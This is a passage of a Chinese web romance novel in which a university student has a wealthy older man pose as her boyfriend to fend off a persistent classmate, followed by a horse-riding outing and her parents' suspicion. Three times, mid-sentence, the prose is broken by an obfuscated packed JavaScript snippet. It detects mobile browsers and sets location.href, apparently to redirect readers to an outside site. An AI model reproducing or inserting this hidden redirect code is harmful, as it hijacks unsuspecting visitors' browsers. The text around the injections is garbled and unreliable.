她乖乖地回：【我到了，谢谢你。】 发完之后，又盯着手机看了几秒。 “你在发什么呆呢？”苏菁菁的话把她拉回了现实。 “没什么。”温芷茵犹豫着要不要把和齐泽玄的约定告诉她，话到嘴边还是咽了回去，“下周就是十一假期了，有计划去哪里玩儿吗？” 苏菁菁撇撇嘴：“假期到处都是人，没意思，都是看人头去了。” “这倒是啊......” ...... 话虽如此，十一的时候，温芷茵还是和家人去了趟古拓寺。 古拓寺景区很大，有高山有流水，还有竹林。一路上能见到很多佛像雕塑，非常有禅意，只是寺庙里很难挤进去。 温芷茵好不容易排队排到一个寺庙门口，结果抬头一看，是个月老庙。 不管了，反正神佛都是一家人。 她非常虔诚地站在月老像前，双手合十，给自己许了个愿： 希望从今以后远离小人，多遇贵人。 4. 第四章 北科大实验楼前除了有特殊活动，很少会有学生逗留。 而今天与以往不同，不少同学在停车场围观一辆黑色跑车。 炫酷的外观，流畅的线条设计，在阳光照耀下闪闪发亮，像一只黑色幽灵。 此刻车里的男人双手抱臂，躺靠在椅背上，正在闭眼小憩。 细碎的刘海散落在额间，五官棱角分明，犹如雕塑，身上的气场却给人一种强烈地压迫感。 半小时前。 温芷茵正在实验楼上实验课，突然收到一条微信消息。 齐泽玄：【一会儿有空吗？我去接你。】 温芷茵脑子里还在想她的实验数据，一边默念着数字一边回：【748......接我干嘛？】 打完字，她又赶紧去填下一个数。 几分钟后，她完成了第一项实验，手机再次震动。 齐泽玄：【这是什么新的密语吗，看上去寓意不大好啊。】 密语？ 大脑终于从实验中脱离，温芷茵似乎能想象出屏幕背后他那副若有似无的笑，赶紧看一眼上条消息。 748......这是什么，她怎么把实验数据也打上去了？ 等等，748748——去死吧？ 啊啊啊完了！ 她赶紧解释：【没有没有，我在做实验，顺手把数据打上去了，别在意哈哈...】 也不知道他信没信。 温芷茵又接着前面的话题补充：【我这个实验课是两节连着上的，上完课估计得一个小时以后，什么事呀？】 齐泽玄：【/叹气/】 【你不用我帮你了吗？】 温芷茵一愣，才明白他说的什么意思。 【用，所以....你是有什么计划？】 齐泽玄：【需要先让你周围同学知道你已经有男朋友这件事，等下完课我去接你吃饭，在他们面前晃一圈儿。】 温芷茵：【我懂了！....那不用太着急哈，快下课了我给你发消息。】 温芷茵没预料到一件事。 齐泽玄没有等她的消息，而是早早地到了半小时在实验楼下等着。 走出教室，她按照他微信上说的去往停车场，那里似乎围了很多人。 有些同学是正好路过看到这辆跑车，假装停下来等人，还有的干脆直接拿手机咔咔拍照。 温芷茵抬眼望去，一辆迈凯伦正安安静静地停在路旁，似乎在等着她。 她犹豫着走过去，因为车子贴了防窥膜，看不到里面人的样子。 是他吗？他说的是这个位置没错，可是...... 就在温芷茵快要走到车旁时，车子突然打起了双闪，把周围人也吓了一跳，赶紧散开了去。 他们似乎不知道里面还坐了人。 在众目睽睽之下，车门被弹开，齐泽玄迈下了车。 他今天仍是穿着一件黑夹克，只是和上次款式不同，更潮了些。 看到她时，冲她招招手，咧嘴笑了一下。 模样又痞又拽。 “哇塞这人是谁啊！哪个班的，好帅啊救命！” “看起来不像学生，还这么有钱，哪家的公子哥啊。” “是来找女朋友的吧，看他在和那个女孩儿打招呼。” “可恶帅哥果然都不是单身呜呜......” 温芷茵全身的细胞都紧绷起来，好像已经无法呼吸。 她一向不擅长应对这样的场面。 如果是为了公开她有男朋友的事，那这也太—— 夸张了吧。 齐泽玄一手插兜儿，另一只手搭在车门上，漫不经心地靠在车旁等着。 这种情境下，不赶紧过去只能更尴尬。 温芷茵加快步伐走到车旁，声音都有些喘：“不好意思我来晚了，我们走吧。” “不着急。”齐泽玄动作温柔地替她整理了一下衣领，“这么不小心，领子都歪了。” “......” 虽然他没有直接碰到她的皮肤，但莫名其妙地，温芷茵身上有一种被灼烧的感觉。 耳根都开始发烫。 她缕缕耳后的头发，试图掩盖这种情绪：“没关系，上车吧。” 齐泽玄打开另一侧的车门，虚空扶着她肩膀坐上了车，然后返回自己的座位，启动车子。 在众人艳羡的目光中，黑色迈凯伦发出一阵阵轰鸣，如同野兽般蹿了出去。 温芷茵坐在车子里，大气也不敢出。 她以前没坐过跑车，此刻也顾不上新鲜了，只看着窗外来来往往的同学，感觉自己像是动物园的猴子，正在被人观赏。 “会不会太张扬了点？” “张扬？”齐泽玄语气稍顿，随即不紧不慢解释了一下，“哦，不张扬的话起不到那个效果。” 她并不知道，其实这辆车对于齐泽玄来说，已经很低调了。 温芷茵抿着嘴唇没说话，感觉有些头疼。 在她的眼里，齐泽玄完全是一副悠悠哉哉地模样，看不出一点情绪变化。 他开得很慢，拐过实验楼前那条路，又问：“男生宿舍在哪儿？” 温芷茵不明所以：“在前面左转那条路的尽头，问这个干嘛？” “过去转一圈儿。” 温芷茵惊恐地望向他：“你没在开玩笑吧？” 秋天一到，校园的林荫路便落了些发黄的银杏叶子，一层一层铺开，甚是好看。 齐泽玄把窗户打开，一只手臂搭在窗户侧沿，单手握着方向盘：“光那些同学看到没有用，男生对车比较敏感，肯定会相互讨论，我们的关系才能被传开。” 话是这么说......但也不至于闹得满校皆知吧。 以后她在学校还怎么脱单？ “看你纠结的样子——”齐泽玄像是能看透她的心事似地，眉梢轻挑，“还是说，你在学校有喜欢的男生？” “没有。”温芷茵自顾自地小声嘟囔起来，“现在是没有，但也不代表以后没有......” 她说这话的时候，忘记了旁边那个男人耳朵出奇的好使。 齐泽玄轻笑一声：“你不想要这段关系的时候告诉我，我不来找你，大家自然认为我们分手了。” 说得她好像那种始乱终弃的女孩儿似地。 不过，他做事确实考虑得缜密，和学校里那些自信又天真的男生有很大不同。 温芷茵好奇心燃起，试探着问：“你多大了啊，看着不像学生。” 齐泽玄顿了顿，没有直接回答。 温芷茵觉得自己是不是太没有礼貌了，连忙补充：“你不想说也没事，我就随便问问。” “二十五。”他勾起嘴角，语气带着调侃，“看着很老吗？” “不会不会，就是感觉蛮成熟的，不是老。” 说完温芷茵偷偷瞄了他一眼，还好，不像生气的样子。 车子在几栋男生宿舍楼下绕了一圈，自然引起频频注视. 齐泽玄觉得差不多了，把方向盘打了个圈儿一掉头，开出了校园。 直接奔向时光别院轰趴馆。 离开学校，温芷茵终于放松下来，这才闻到了车子里飘着的淡淡清香。 应该是某种香薰的味道，混合着男人身上特有的清冽气息，让她有种不真实的恍惚感。 十分钟后。 齐泽玄停好车，灭掉发动机，偏头问了句：“你要跟我在这儿吃饭还是自己回学校吃？” 温芷茵不习惯和不熟的男性吃饭，尤其像他这样让人完全看不透的男人。 “我回学校吧，今天麻烦你了。” “ok，下次就等让你头疼的那个家伙找上门就好了，到时你再联系我。” 温芷茵“嗯”一声，然后等他帮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15062954|163010||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她按开车门，下了车。 她站在路旁，把手机打开。 虽说这段路已经走过一遍，但以防万一，她还是开了导航。 车里的齐泽玄手指拎出一根烟，点上，深吸一口之后轻轻吐出烟雾。 车载空气净化器让烟味散得很快，直到女孩走远后，他才下了车。 - 温芷茵还是低估了校园八卦传播的速度。 当晚，她一回到宿舍，苏菁菁就像大喇叭似地抓住她喊：“知知，快从实招来！你从哪里钓来的帅哥！听说比明星还帅！真的假的？这种好事竟然都不说一声，真不把我们当姐妹啊！” 温芷茵扒拉开她的手，努力让自己不表现得太惊讶。 “......你听谁说的？” “学校论坛都传遍了啊，说学校来了个巨帅巨有钱的公子哥接女朋友，说是那种一看就是纨绔世子的模样，女朋友前些天刚在宿舍楼下被人表白，这哥们儿肯定是来宣示主权的！我一看那照片这不就是我们家知知？” 温芷茵深吸一口气，赶紧打开论坛扫一眼。 还好，只拍了两人的背影。 只是那正中间的跑车太过惹眼。 着实没想到这件事能传得这么快。 她抬起头，刚刚分别在学习和刷视频的陈若宋纤凝也纷纷看过来，一脸吃瓜的表情。 “......” “听我解释，其实事情没有你们想象得那么夸张......”温芷茵迅速在脑中组织语言，“总之就是，我和那个男人没在交往，他只是我雇来的一个人，为了让卓澎知难而退。” “雇来的？”苏菁菁皱起眉，脑袋摇得像个拨浪鼓，“你从哪里能挖来这样的绝品，我怎么不信。况且，据说他还搂你肩膀来着，这戏做的够足啊。” “是啊，而且我听说他开的是几百万的跑车，这样有钱的人为什么还要给别人打工？”陈若也补充道。 温芷茵回想一下。 他的动作在外人看来确实很暧昧，只有她自己知道实际都没有碰到她分毫。 “这件事说来话长......他也不是给我打工，是因为之前一次偶遇，我恰好帮了他的忙，这次也算还我的人情。” 温芷茵很少遮遮掩掩，她不想说的事不会说，如果说了就不会骗人。 她没解释得太详细，只不过因为那天的遭遇太过离奇，不亲身经历很难相信。 “好，就算是这样吧。”苏菁菁的语气听起来有些失落，“但这种绝品，真不考虑发展一下？你看咱学校仅有的几个帅的多少人惦记着，狼多肉少啊。” 缩在床角的宋纤凝终于也插了话进来：“别这么说，知知不是狼，咱宿舍就只有一匹狼，一匹色狼。” 这话明显指的苏菁菁就是那匹色狼。 她一说完，整个宿舍人都笑了起来，除了苏菁菁还在撇嘴。 没一会儿，温芷茵止住笑，坦白道：“人家跟咱都不是一个世界的，发展什么，等这件事解决了估计我俩不会见面了。” 温芷茵换了件衣服，爬上二层的床铺，瞥见床头柜还放着那本悬疑小说。 发生那些事之后，她已经没心情看了，也不能一直在这放着，该物归原主了。 温芷茵打开微信，盯着屏幕看了一会儿，然后给齐泽玄发了一条信息： 【我决定了，不用等他来找我了，下周我会主动联系他见面，到时候你陪我一起吧。】 过了几分钟，她又补充一条：【这次见完面事情就都说开了，之后就不用麻烦你了哈。】 发完之后，她把手机放到一边，打开电脑，找了一部电影来看。 这一看就是两个小时，男主表白完结束，已经十一点了。温芷茵去水房刷牙洗脸，然后躺床上又刷了会儿手机。 直到睡前，温芷茵才收到齐泽玄回的消息，只有一个字。 【好。】 5. 第五章 经济学课上，老师依旧滔滔不绝地讲着那如同天书的文字。 同学们有的较劲地在书上画着符号，有的托着下巴强听着，还有的已昏昏欲睡。 下课铃声一响，像是终于得到了解放，闷沉的教室内也开始活跃起来。 “温芷茵，班主任找你。” 温芷茵正收拾东西准备跟舍友们回宿舍，听到班长叫她，还以为听错了。 “你刚刚说，班主任找我？” “对，老周在办公室呢，你现在过去吧。” 温芷茵一边往教学楼走一边回忆自己最近有没有犯什么错误。 她好像每天除了上课就是往返食堂和宿舍，非要说的话，就是最近的班级活动表现不积极。 温芷茵敲开办公室的门，小心地和班主任问了声好。 周明生正坐在电脑桌前打字，看到温芷茵进来，点头，示意她坐在旁边的椅子上。 几分钟后，他把文档关闭，双手交叉在桌上，望着这个看起来有些紧张的女孩儿。 大学班主任不像初高中，恨不得天天跟学生绑在一起，有的人念完整个大学，和班主任见面不超过十次。 周明生倒是对这个女孩儿有点印象，长得算是漂亮，钟灵毓秀的，但很低调。 他知道，越是这样的乖乖女越容易被骗。 “不用紧张，也不是什么大事。” 周明生尽量用安慰的语气，顿了下，接着道，“大家都是成年人，本来这些话我是没有义务跟你说的，但作为班主任，我还是想多唠叨几句。” 温芷茵点头，稍稍放松了些。 “听说你交往了一个富二代，男朋友比较高调，开都是百万豪车......虽然学校对这些事不管，不过还是要注意影响，尤其你还没毕业，这些事情未来都不好说，由奢入俭难......” 温芷茵大概听懂了班主任的意思。 其实不用他说，这些道理父母都跟她讲过很多遍，何况，他俩还是演的。 “老师，我明白的，以后不会发生这种事了，谢谢您的提醒。” 女孩声音不卑不亢，态度诚恳，周明生看不出来她到底往没往心里去。 话已至此，反正该说的都说了。 “行，那既然你心里有谱，我就不说废话了。” “小姑娘，还是要多自爱。”临走的时候，他又补充了句。 温芷茵进来时内心忐忑，倒也没太大情绪波动，直到听了这句话，她感到心里发堵。 一直到下午上完选修课，温芷茵还没有从郁闷中走出来。 “知知，怎么感觉你今天这么没有精神？”宋纤凝问。 苏菁菁和陈若都没有报这门课，只有她和宋纤凝在一起。 温芷茵“昂”了一声，“大姨妈来了。” “啊？你不是上周刚来过？” “嗯，精神上的。” 宋纤凝挠挠脸颊，不知道是不是她理解的那个意思。 有人惹她了？ 思绪开小差时，迎面走来一个人。 宋纤凝想着，这次是真的有人来找麻烦了。 卓澎看起来脸色很差，不知道是不是没休息好，他的黑眼圈很重。 “温芷茵，我有话跟你说。” 宋纤凝是那种面子很薄的人，别人说什么就是什么，即便心里抗拒也不敢表露出来。 她怯怯地看了一眼温芷茵：“知知，那我先去自习室了，你们聊。” 温芷茵面不改色：“好。” 没想到自己还没联系卓澎，他倒是先找上门来了。 “你想说什么？” “上次在你们宿舍楼下我确实太冲动了，我跟你道歉，我只是没想到你会直接在微信上拒绝我，有点心急了。” 温芷茵没预料到，他竟然是来道歉的。 对于卓澎，温芷茵倒没有多记恨，她最担忧的是他说的那句“不会放弃”。 如今他主动讲和，温芷茵自然求之不得。 “没关系，同学一场，我也不想把事情闹得太尴尬。”她想了想，“这件事就算过去了，我们都不要提了，以后还是朋友。” 她说的朋友自然是指那种没事就不要联系的校友。 但卓澎显然误会了。 “真的？那你不生气了？我是不是还有机会。” 温芷茵微怔。 转而咬了下嘴唇，决定放弃维持面子的事了。 “......卓澎，我必须说清楚，我真的对你一点意思都没有，希望你不要再纠缠。” “而且，我已经有男朋友了。” 卓澎脸色瞬间沉下来。 “我听说过了，前些天你所谓的男朋友开跑车来接你，这事有人发在了学校论坛。但别以为我不知道，你根本就没有男朋友。” “你是故意演的吧。” 这件事确实是假的，但从他嘴里说出口，温芷茵还是震惊不已。 她拧眉：“我们也没认识多久吧，说的你好像对我多了解？” “呵，”卓澎口气自信又不屑，“或许你不知道，我查过你的底细，你从上大学开始就没交过男朋友。” 他查过她的底细？ “你是不是有毛病？你查我底细干什么？” 温芷茵气得胸口发疼，嘴唇都在抖，“我跟我男朋友高中时谈的，现在复合了，不行吗？” 从没见过她如此情绪激动，卓澎终于意识到自己说错了话。 “我、我不是故意这么做，但我总觉得你是在骗我，温芷茵，我是真的喜欢你......” 温芷茵第一次觉得，有人说出“喜欢”两个字是那么的恶心。 她往后退了退：“你别再说了，我不想听你说任何的话。” 在他错愕的表情中，温芷茵转身跑出了楼道。 她一直跑着没有停下来，从教学楼到操场，再到宿舍。 温芷茵推开门，踢掉鞋子，爬上床。 她躺在自己的床铺上，大脑发懵，心脏气得要爆炸。 他是从什么时候开始做这件事的？ 一想到有人在背地里监视自己，温芷茵就觉得脊背发凉。 她紧握着手机，回想着这些天发生的种种。 齐泽玄还在等她的消息。 一肚子委屈无处诉说，温芷茵直接打了一大段话： 【我们不用演了。卓澎来找我，说他调查过我，知道我没交往男朋友，肯定是为了做戏给他看。】 【不愧是法学专业的啊，我们根本斗不过他。】 【算了，这件事就这样吧，麻烦你了。】 发完之后，又拉黑了卓澎的微信。 那本书，就让苏菁菁帮忙还吧，反正她是不想见到这个人了。 周五下午只有一节课，舍友们也都没回宿舍，温芷茵一个人躺在床上发呆，不知不觉地睡着了。 等到她醒来时，已经是下午五点。 手机显示有未读的微信消息，温芷茵打开，看到一条回复： 【这周六有没有空，带你去散散心。】 温芷茵愣愣地看了几秒钟，轻吐一口气。 他仿佛能洞察她的心思，知道她现在最需要什么。 温芷茵：【有空。】 她想起班主任的话，又补充一句：【这次就别来学校里接了，在门口等我吧，麻烦了。】 - 周六早上，温芷茵早早地起了床，在宿舍收拾东西。 她将要带回家的衣服和书塞进一个大大的双肩包里，然后拉上拉锁，去吃早餐。 吃饭的时候又不经意走了一会儿神，导致错过了约定时间。 收到齐泽玄发来的消息时，她的玉米刚吃一半。 想着要不要带上车吃，又觉得那么贵的车别给人家弄脏了，最后还是迅速咬了两口扔掉了。 十分钟后，温芷茵出现在校门口。 也一眼望见了那辆惹人注目的跑车。 她背着双肩包坐上去时，觉得自己的样子肯定特别傻，和这辆豪车完全不搭。 齐泽玄依旧穿着一件黑夹克，身上透露着一股 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15062955|163010||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 散漫劲儿，偏头和她打了声招呼。 “你说要带我散散心......是要去市里兜风吗？” 温芷茵把包放在后车座，系上安全带。 齐泽玄笑了笑：“市里兜风，估计都超不过三十迈，你要体验吗？” “不要了......”温芷茵摸摸头，有点不好意思。 京市很繁华，生活也便利，这座城市承载了经济和政治中心，必然少不了拥挤。 齐泽玄启动车子，上午的阳光正好直射进来。 玻璃贴了加厚的膜，但也刺得人眼睛不舒服。 他单手操纵方向盘，另一只手翻出一副墨镜扣在脸上。 温芷茵没忍住多看了两眼。 他身上的气场，不是学校里的男生穿个潮牌摆摆pose就能装出来的。 “带你去一个好玩儿的地方，不过路上堵车，估计要一个小时。” “什么好玩儿的地方？”温芷茵收回视线。 “暂时保密，到了你就知道了。” 齐泽玄尾音向上微挑，让她想起第一次见到他的那一刻，狡黠又带着逗人的坏。 温芷茵感觉这辆跑车好像比一般的跑车要大。 不会太挤，这样让两人有了足够独立的空间。 一路上，齐泽玄的话并不多，大多数是沉默的。 温芷茵也不知道和不熟的异性能聊什么，只看着窗外，试图找些话题。 秋天是京市最好的季节。 天空明亮湛蓝，絮状的白云飘浮，温度适宜，不冷不热。 温芷茵托着下巴，感叹一句：“空气真好啊。” 齐泽玄：“你是本市人吗？” “嗯。” 正好赶上一个上坡堵车，齐泽玄轻踩着刹车，慢慢往前蹭。 “偶尔还是会有雾霾，比前些年倒是强多了。” “对，以前沙尘暴也很严重。” 温芷茵记得，大概是上小学，学校距离家很近，她都是蹬自行车去。 一到春天，那大风吹得她只能以龟速前进，沙子满天飞，根本睁不开眼。顺风的时候，几乎不用蹬，还要拉着手刹，特别刺激。 那时候年纪小，只觉得好玩，也没想过抱怨天气。 话题一打开，心里那份焦灼也舒缓了些，她突然想到一件事。 之前在咖啡馆的时候，齐泽玄就半开玩笑地说过一句，她和卓澎不适合，如今看上去更像这句话应了验。 “我想问你一个问题。” “嗯？” “就是当初你是怎么看出我和卓澎不适合的呀？” 齐泽玄似是没料到她会问这个，没有立即回答。 几秒钟之后，才神色倦倦道：“我也只是猜测，因为说话时手舞足蹈的人，一般控制欲很强。” 温芷茵回忆着卓澎说话的样子。 她当时的注意力没在他身上，只想快点结束话题，现在想想，的确小动作很多。 虽然只是猜测，但他说的很准。 像是受到不好回忆的影响，温芷茵情绪有些低落，也没再主动说话了。 齐泽玄似乎对这种场合无所谓，只是察觉到温芷茵有些不自在之后，放起了音乐。 和温芷茵对跑车车主的刻板印象不同，他放的是非常舒缓的轻音乐。 一首古典英文歌，像是欧洲中世纪的风格。 伴随着轻缓的音乐，温芷茵也逐渐放松下来。 早上起得早，她有些犯困。 堵车的路还看不到尽头，不知不觉中，偏头睡了过去。 女孩双眼紧闭，呼吸很轻且有节奏，白净的脸上透着一层粉色，看起来睡得很香。 此刻，正在等红灯的男人睨了她一眼。 视线停留几秒之后，移回目光。 车子再次启动，发动机传来一阵阵轰鸣。 齐泽玄从嗓音里发出一声喟叹。 看来之前提醒她的话是全白费了，就这么在他车上毫无防备地睡着了。 小姑娘年纪不大，心倒是挺大。 6. 第六章 白马俱乐部拥有京市最大的马场，早年间是对外开放的，价格也非常昂贵。后来被人买了去，变成一座私人马场。 车子一直开到俱乐部大院，齐泽玄灭掉发动机，替旁边的人解开安全带。 朦胧间听到“咔嚓”一声，温芷茵醒了过来。 “这是哪？”她眯起眼睛问。 “山沟里，你被绑架了。” 温芷茵坐直了身子，望向窗外。 一栋栋高楼交错耸立，还有超大面积的广场，她知道齐泽玄在开玩笑。 “好了，不逗你了。” 齐泽玄恢复正经，“一会儿下车先去补充点能量，今天的运动量应该不小。” “这是......马术中心？骑马的地方吗？”温芷茵瞥见楼门口的马场介绍。 “对，体验一下风驰电掣的感觉，最原始的发泄方式。” 说是原始，可在她眼里这种原始的娱乐可不是普通人能体验到的。 温芷茵脸上透露出迟疑：“可我不会骑马……” “有教练，能带你。”他说得很干脆，似乎这些都是小事情。 温芷茵犹豫几秒后，“嗯”了一声。 她从小没做过出格的事，看上去胆子挺小，其实内心深处是带着一丝叛逆的。 两人喝了点饮料，齐泽玄带她去选马。 一路上，除了服务的工作人员，温芷茵都没有看到其他客人，她问起齐泽玄原因。 “这是私人马场，只偶尔有朋友会来。” 温芷茵这才明白，原来这个地方是他的专属领域…… 马棚非常干净，没有一丝异味，每匹马都有单独的棚子和专门的饲养员。 一路望去，这里的马都非常漂亮。 齐泽玄看出她的好奇，一边走一边介绍：“这是摩根马，这是汉诺威品种，这几匹是荷兰的温血马，温血马是介于冷血和热血之间，它们很懂礼仪。” 温芷茵感到眼花缭乱，她从没见过这么多形态各异的马。 不知不觉间，已经跟着齐泽玄走到了最后几间马棚前。 “齐爷。”一位穿着藏青色制服的饲养员喊了一声。 齐泽玄点头：“最近艾伦还听话吗？” “听话，上次闹了点脾气之后，再也没挑食了。” 温芷茵循声望去，那是一匹纯银色的马，毛发非常柔亮，整个身子散发出银光。 “这是阿克哈马，也就是我们常说的汗血宝马。” 传说中的汗血宝马，在现实中看到，确实是好漂亮。 温芷茵眼睛瞪得圆圆地，毫不掩饰地打量起来。 “新手的话，肯定骑不了这种。”齐泽玄无情打断她的臆想，下巴一抬，“那边几匹都是很温顺的品种，你可以挑一个。” 温芷茵走到对面，一眼望见里面与众不同看上去非常可爱的一匹。 个头不高，浑身是金铜色的，她指着它说：“我要这个可以吗？” 齐泽玄笑了笑：“这是冰岛马，冷的地方出的性格越温和冷静，倒是挺适合你。” 他走上前：“不过马都认主人，你得先让它知道我们的关系。” 说完，齐泽玄抓住她的手腕，放到吉米的头上：“来，摸一摸。” “吉米，这是我的朋友，一会儿好好表现，知道吗？” 温芷茵感觉到手腕处一热。 紧接着手心传来柔软的触感，她恍了下神：“你好......吉米。” 马像真的听懂了似的，竟然轻轻叫唤了两声。 “看来它答应了。”齐泽玄收回手，“走吧，我们去换衣服。” 手腕处的温热消失，内心的异样感也终于消散。 随后，接待人员带她到休息区去换了骑马服。 银灰色的贴身运动衣配上黑色长靴，护腿，头盔和手套，看上去非常有活力。 走到马场，齐泽玄给她安排的教练已在门口等候，是一位很有经验的女教练。 再望向内场里，齐泽玄已经骑着马在悠悠散步。 他穿着黑色上衣骑士服，裤子是白色的，宽阔的肩膀，加上修长的腿，让温芷茵想起欧洲中世纪的纨绔世子。 他的马也是纯黑色，又高又壮，发鬓非常长，看上去很狂野。 “这是弗里斯兰马。”教练解释道，“别看它壮，跑起来可是非常敏捷，非专业人士驾驭不了。” 温芷茵盯着看了一会儿，然后来到吉米身边抚摸几下：“我还是跟它更适合。” 这位教练很有耐心，一点一点教会她关于马脾性的常识。 比如它的耳朵背后边去了，就是要发脾气了。还有上下马的方式方法，和骑马时的动作要领。 温芷茵在教练的教导下，已经能够简单骑一会儿了。 这匹马确实很听话，即便是和陌生人第一次合作，也没有显示出任何的抵抗情绪。 “谢谢你，吉米。”温芷茵开心地拍着马背，“一会儿能带我跑一圈吗？” “跑起来的时候注意双腿要夹住马肚子，保持身体平衡。”教练叮嘱道。 “嗯，我记得。” 温芷茵再次上马。 齐泽玄正好跑完了几圈，来到她身边，两人并排慢慢往前走。 他看着女孩娴熟的姿势，赞扬道：“进步挺快嘛。” 从近处看，那匹弗里斯兰更显得高大威猛。 温芷茵心生羡慕，想着如果她也能坐一坐就好了。 “你想坐吗？”齐泽玄似是看出她艳羡的眼神，“但是你得和我一起，这家伙可没吉米那么好说话，没有主人在，它是要发脾气的。” 和他同骑的话，意味着要坐在他的前面，两人身子会贴得很近...... 温芷茵光脑补一下那个场景，就觉得脸上开始发热。 “不要了，我还是更喜欢吉米。” 齐泽玄笑了一下：“随你。” 不一会儿，温芷茵已经开始能够小跑起来，她感觉到风吹在脸上，有一种自由的惬意。 到第三圈时，速度又加快了些，温芷茵从来没有过这样的体验。 不同于在车上，是那种能让身体原始野性发挥出的痛快感。 吉米似乎也受到了她情绪的感染，变得越来越兴奋，在飞跃最后几百米时，突然抬起了前蹄。 这种立马的场景并不罕见，但多是由骑马人操控，温芷茵没有经验，猝不及防地从马上摔了下来。 左胳膊先着了地，杵了一下，然后是整个后背跌在草地上。 “嘶——”她疼得抽搐了一下。 齐泽玄瞬间变了脸色。 他反应得很快，飞速下马，几步跑过来控制住马后，蹲下身将手撑在她脑后：“感觉怎么样？” 还好草地够软，马背也不高，温芷茵挣扎着坐起。 她摸了摸胳膊：“感觉还好，就是左胳膊有点疼。” 齐泽玄一手扶住她：“别乱动，先跟我去休息室。” 然后对着身后的教练说：“帮忙叫薛医生过来。” - 薛医生是一位三十多岁的女医生，年纪不大，手法却很老练。 她给温芷茵整个检查了一遍身体，确认没有受到其它伤害。 只是她的左胳膊有些挫伤，所幸没有伤到筋骨。 “这几天注意胳膊不要用力，避免发生碰撞。” “饮食以清淡为主，少吃辣。” 温芷茵应诺一声，心中莫名升起一丝温暖。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15062956|163010||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 其实只是很小的伤，这位医生却远比医院里的大夫照顾得更为细致。 薛医生给她上好了药，包扎完后叫来了等候在外面的男人。 “您放心，只是一点皮肉伤，不严重。” 齐泽玄点头，坐在温芷茵旁边，看她将外套抱在怀里，脸上还带着不甘心。 “还没玩儿够？”他倾身靠近些，“小姑娘看起来乖乖的，没想到胆儿这么大。” 温芷茵抿起唇：“是啊，正玩得开心呢，还没尽兴。” “那要不要再去？” 看她真的在犹豫，齐泽玄伸手弹了下她的额头：“逗你的，还真想去啊，你愿意我也不放心呢。” 不知道为什么，他说的这句话让温芷茵蓦地心跳加速了一瞬。 她低下头：“嗯，不去了。” 齐泽玄又给她拿了一些糕点和饮料，吃饱喝足后，两人才离开马场。 回到车上，齐泽玄示意让她稍等会儿，他去外面抽个烟。 温芷茵看到他掏出的烟好像和她见过的都不一样，非常细，质感也很好，看起来很高档。 也或许因为如此，即便抽烟他的牙齿也很白。 温芷茵的外套落地时弄脏了，她跑到后车座上去翻背包。 印象中里面有一件备用的薄外套。 然而翻了半天也没找到。 温芷茵以为忘带了，最后把所有东西掏出来才发现，原来是被压在了最下面。 收拾好一切之后，齐泽玄也抽完了烟回到车上。 “今天心情有没有好点儿？”他问。 “嗯，好多了。” “行，那就算没白来，虽然带了点伤。” “那都是小事......” 温芷茵说的是实话，她今天真的很开心。 而且，那种开心，和平时的好心情也不一样...... “你要回学校吗，我送你。” 齐泽玄打断了她的思绪。 “不用了，我要回家，自己打车就行。” “你住哪儿？” 温芷茵犹豫一下，小声说：“西四环科丰路怡锦园。” 齐泽玄回完一条信息，没给她质疑的机会，启动车子：“正好顺路，送你。” - 温芷茵的父亲温钟良是国企工程师，母亲叶清澜是一名中学教师，家庭说不上多富裕，但也算小康。 两位老人从小对温芷茵的管教就很严格，高考前不允许做任何与学习无关的事，包括打游戏，谈恋爱，追星。 温芷茵也很听话，一直在他们的呵护中长大。 而此时此刻两人眼中的乖乖女正从一辆惹眼的跑车中走下来。 叶清澜洗碗的动作停住。 她方才无意中从阳台的窗户往外瞄了一眼，看到一辆黑色炫酷的车正从小区门口开进来。 叶清澜看不懂这是什么车，但能感觉到不便宜。 心里还在想，大概率不是这个小区里的住户，不知道哪里来的富二代。 “钟良，你快过来！” “怎么了？火急火燎地，碗打碎了？” 温钟良走到厨房阳台，看到叶清澜手里的碗好好的，而她的目光一动不动地盯着窗外。 “看到啥了，有人打架？那我也得瞧瞧。” 说完他也跟着好奇地往窗外望去。 眼见自己的闺女从后座拿出双肩包，跟一个开着豪车的男人说了几句话，最后摆手和他告别。 温钟良若有所思道：“清澜，那是咱家知知吗？” “你觉得呢。” 叶清澜眉头紧皱，把碗往水槽里一扔。 “得跟她好好聊聊了，这孩子开始有事瞒着咱们了。” 7. 第七章 温芷茵走进门，温钟良和叶清澜正端坐在沙发上。 茶杯放下的瞬间，一声问候传出：“回来了。” “嗯。” 温芷茵换了拖鞋，把包包往椅子上一扔，准备去洗澡。 骑马出了些汗，身上有些不舒服。 “先等会儿再去，坐这来。”叶清澜指着旁边的位置。 “怎么了？” 温芷茵把手上的毛巾和换洗衣服放在一边，这才发现，今天父母的状态似乎和往常不太一样。 